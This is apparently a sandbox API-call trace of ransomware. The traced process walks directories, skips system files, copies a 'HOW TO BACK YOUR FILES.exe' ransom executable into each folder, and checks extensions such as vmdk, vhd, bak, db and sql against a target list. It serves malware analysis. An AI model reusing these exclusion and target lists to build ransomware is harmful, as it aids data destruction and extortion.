	[0084.910] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fd36bb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fd36bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0084.910] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0084.910] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd5cd10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd5cd10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 1
	[0084.910] lstrcmpiW (lpString1="Task", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.910] lstrcmpiW (lpString1="Task", lpString2="Apollon865.txt.exe") returned 1
	[0084.910] lstrcmpiW (lpString1="Task", lpString2=".") returned 1
	[0084.910] lstrcmpiW (lpString1="Task", lpString2="..") returned 1
	[0084.910] lstrcmpiW (lpString1="Task", lpString2="windows") returned -1
	[0084.910] lstrcmpiW (lpString1="Task", lpString2="bootmgr") returned 1
	[0084.910] lstrcmpiW (lpString1="Task", lpString2="temp") returned -1
	[0084.910] lstrcmpiW (lpString1="Task", lpString2="pagefile.sys") returned 1
	[0084.911] lstrcmpiW (lpString1="Task", lpString2="boot") returned 1
	[0084.911] lstrcmpiW (lpString1="Task", lpString2="ids.txt") returned 1
	[0084.911] lstrcmpiW (lpString1="Task", lpString2="ntuser.dat") returned 1
	[0084.911] lstrcmpiW (lpString1="Task", lpString2="perflogs") returned 1
	[0084.911] lstrcmpiW (lpString1="Task", lpString2="MSBuild") returned 1
	[0084.911] lstrlenW (lpString="Task") returned 4
	[0084.911] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device") returned 48
	[0084.911] lstrcpyW (in: lpString1=0x119e65c, lpString2="Task" | out: lpString1="Task") returned="Task"
	[0084.911] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7968
	[0084.911] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5e) returned 0x5c55f8
	[0084.911] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7970 | out: ListHead=0x5b75f0, ListEntry=0x5b7970) returned 0x5b7950
	[0084.911] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd5cd10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd5cd10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 0
	[0084.911] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0084.911] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7970
	[0084.911] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task"
	[0084.911] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c55f8 | out: hHeap=0x580000) returned 1
	[0084.911] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0084.911] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task") returned 46
	[0084.911] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task"
	[0084.911] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0084.911] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0084.913] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0084.913] GetLastError () returned 0x0
	[0084.913] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0084.913] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0084.913] CloseHandle (hObject=0x10c) returned 1
	[0084.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0084.913] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0084.913] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd5cd10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd5cd10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0084.913] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.913] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0084.913] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0084.913] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd5cd10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd5cd10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.913] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.913] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0084.913] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0084.913] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0084.913] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fd36bb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fd36bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0084.913] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0084.914] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd82e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd82e70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", cAlternateFileName="{07DEB~1")) returned 1
	[0084.914] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.914] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="Apollon865.txt.exe") returned -1
	[0084.914] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2=".") returned 1
	[0084.914] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="..") returned 1
	[0084.914] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="windows") returned -1
	[0084.914] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="bootmgr") returned -1
	[0084.914] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="temp") returned -1
	[0084.914] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="pagefile.sys") returned -1
	[0084.914] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="boot") returned -1
	[0084.914] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="ids.txt") returned -1
	[0084.914] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="ntuser.dat") returned -1
	[0084.914] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="perflogs") returned -1
	[0084.914] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="MSBuild") returned -1
	[0084.914] lstrlenW (lpString="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned 38
	[0084.914] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\*") returned 48
	[0084.914] lstrcpyW (in: lpString1=0x119e666, lpString2="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"
	[0084.914] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7968
	[0084.914] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xac) returned 0x5c8f30
	[0084.914] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7970 | out: ListHead=0x5b75f0, ListEntry=0x5b7970) returned 0x5b7950
	[0084.914] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd5cd10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd5cd10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 1
	[0084.914] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.914] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="Apollon865.txt.exe") returned -1
	[0084.914] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2=".") returned 1
	[0084.914] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="..") returned 1
	[0084.914] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="windows") returned -1
	[0084.914] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="bootmgr") returned -1
	[0084.914] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="temp") returned -1
	[0084.914] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="pagefile.sys") returned -1
	[0084.914] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="boot") returned -1
	[0084.914] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="ids.txt") returned -1
	[0084.914] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="ntuser.dat") returned -1
	[0084.914] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="perflogs") returned -1
	[0084.914] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="MSBuild") returned -1
	[0084.914] lstrlenW (lpString="{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned 38
	[0084.914] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned 85
	[0084.915] lstrcpyW (in: lpString1=0x119e666, lpString2="{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="{e35be42d-f742-4d96-a50a-1775fb1a7a42}"
	[0084.915] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0084.915] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xac) returned 0x5a3168
	[0084.915] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b70 | out: ListHead=0x5b75f0, ListEntry=0x5b7b70) returned 0x5b7970
	[0084.915] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd5cd10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd5cd10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 0
	[0084.915] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0084.915] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b70
	[0084.915] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}"
	[0084.915] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3168 | out: hHeap=0x580000) returned 1
	[0084.915] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0084.915] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned 85
	[0084.915] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}"
	[0084.915] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0084.915] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0084.916] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0084.916] GetLastError () returned 0x0
	[0084.916] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0084.916] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0084.916] CloseHandle (hObject=0x10c) returned 1
	[0084.916] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0084.916] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0084.916] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd5cd10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd5cd10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0084.916] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.916] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0084.916] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0084.916] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd5cd10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd5cd10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.917] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.917] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0084.917] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0084.917] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0084.917] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2fd82e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd82e70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0084.917] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.917] lstrcmpiW (lpString1="en-US", lpString2="Apollon865.txt.exe") returned 1
	[0084.917] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1
	[0084.917] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1
	[0084.917] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1
	[0084.917] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1
	[0084.917] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1
	[0084.917] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1
	[0084.917] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1
	[0084.917] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1
	[0084.917] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1
	[0084.917] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1
	[0084.917] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1
	[0084.917] lstrlenW (lpString="en-US") returned 5
	[0084.917] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*") returned 87
	[0084.917] lstrcpyW (in: lpString1=0x119e6b4, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0084.917] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0084.917] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c1458
	[0084.917] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b70 | out: ListHead=0x5b75f0, ListEntry=0x5b7b70) returned 0x5b7970
	[0084.917] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78a2eab, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1
	[0084.917] lstrcmpiW (lpString1="folder.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.917] lstrcmpiW (lpString1="folder.ico", lpString2="Apollon865.txt.exe") returned 1
	[0084.917] lstrcmpiW (lpString1="folder.ico", lpString2=".") returned 1
	[0084.917] lstrcmpiW (lpString1="folder.ico", lpString2="..") returned 1
	[0084.918] lstrcmpiW (lpString1="folder.ico", lpString2="windows") returned -1
	[0084.918] lstrcmpiW (lpString1="folder.ico", lpString2="bootmgr") returned 1
	[0084.918] lstrcmpiW (lpString1="folder.ico", lpString2="temp") returned -1
	[0084.918] lstrcmpiW (lpString1="folder.ico", lpString2="pagefile.sys") returned -1
	[0084.918] lstrcmpiW (lpString1="folder.ico", lpString2="boot") returned 1
	[0084.918] lstrcmpiW (lpString1="folder.ico", lpString2="ids.txt") returned -1
	[0084.918] lstrcmpiW (lpString1="folder.ico", lpString2="ntuser.dat") returned -1
	[0084.918] lstrcmpiW (lpString1="folder.ico", lpString2="perflogs") returned -1
	[0084.918] lstrcmpiW (lpString1="folder.ico", lpString2="MSBuild") returned -1
	[0084.918] lstrlenW (lpString="folder.ico") returned 10
	[0084.918] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned 91
	[0084.918] lstrcpyW (in: lpString1=0x119e6b4, lpString2="folder.ico" | out: lpString1="folder.ico") returned="folder.ico"
	[0084.918] lstrlenW (lpString="folder.ico") returned 10
	[0084.918] lstrlenW (lpString="Apollon865") returned 10
	[0084.918] lstrlenW (lpString=".dll") returned 4
	[0084.918] lstrcmpiW (lpString1="folder.ico", lpString2=".dll") returned 1
	[0084.918] lstrlenW (lpString=".lnk") returned 4
	[0084.918] lstrcmpiW (lpString1="folder.ico", lpString2=".lnk") returned 1
	[0084.918] lstrlenW (lpString=".ini") returned 4
	[0084.918] lstrcmpiW (lpString1="folder.ico", lpString2=".ini") returned 1
	[0084.918] lstrlenW (lpString=".sys") returned 4
	[0084.918] lstrcmpiW (lpString1="folder.ico", lpString2=".sys") returned 1
	[0084.918] lstrlenW (lpString="folder.ico") returned 10
	[0084.918] lstrlenW (lpString="bak") returned 3
	[0084.918] lstrcmpiW (lpString1="ico", lpString2="bak") returned 1
	[0084.918] lstrlenW (lpString="ba_") returned 3
	[0084.918] lstrcmpiW (lpString1="ico", lpString2="ba_") returned 1
	[0084.918] lstrlenW (lpString="dbb") returned 3
	[0084.918] lstrcmpiW (lpString1="ico", lpString2="dbb") returned 1
	[0084.918] lstrlenW (lpString="vmdk") returned 4
	[0084.918] lstrcmpiW (lpString1=".ico", lpString2="vmdk") returned -1
	[0084.918] lstrlenW (lpString="rar") returned 3
	[0084.919] lstrcmpiW (lpString1="ico", lpString2="rar") returned -1
	[0084.919] lstrlenW (lpString="zip") returned 3
	[0084.919] lstrcmpiW (lpString1="ico", lpString2="zip") returned -1
	[0084.919] lstrlenW (lpString="tgz") returned 3
	[0084.919] lstrcmpiW (lpString1="ico", lpString2="tgz") returned -1
	[0084.919] lstrlenW (lpString="vbox") returned 4
	[0084.919] lstrcmpiW (lpString1=".ico", lpString2="vbox") returned -1
	[0084.919] lstrlenW (lpString="vdi") returned 3
	[0084.919] lstrcmpiW (lpString1="ico", lpString2="vdi") returned -1
	[0084.919] lstrlenW (lpString="vhd") returned 3
	[0084.919] lstrcmpiW (lpString1="ico", lpString2="vhd") returned -1
	[0084.919] lstrlenW (lpString="vhdx") returned 4
	[0084.919] lstrcmpiW (lpString1=".ico", lpString2="vhdx") returned -1
	[0084.919] lstrlenW (lpString="avhd") returned 4
	[0084.919] lstrcmpiW (lpString1=".ico", lpString2="avhd") returned -1
	[0084.919] lstrlenW (lpString="db") returned 2
	[0084.919] lstrcmpiW (lpString1="co", lpString2="db") returned -1
	[0084.919] lstrlenW (lpString="db2") returned 3
	[0084.919] lstrcmpiW (lpString1="ico", lpString2="db2") returned 1
	[0084.919] lstrlenW (lpString="db3") returned 3
	[0084.919] lstrcmpiW (lpString1="ico", lpString2="db3") returned 1
	[0084.919] lstrlenW (lpString="dbf") returned 3
	[0084.919] lstrcmpiW (lpString1="ico", lpString2="dbf") returned 1
	[0084.919] lstrlenW (lpString="mdf") returned 3
	[0084.919] lstrcmpiW (lpString1="ico", lpString2="mdf") returned -1
	[0084.919] lstrlenW (lpString="mdb") returned 3
	[0084.919] lstrcmpiW (lpString1="ico", lpString2="mdb") returned -1
	[0084.919] lstrlenW (lpString="sql") returned 3
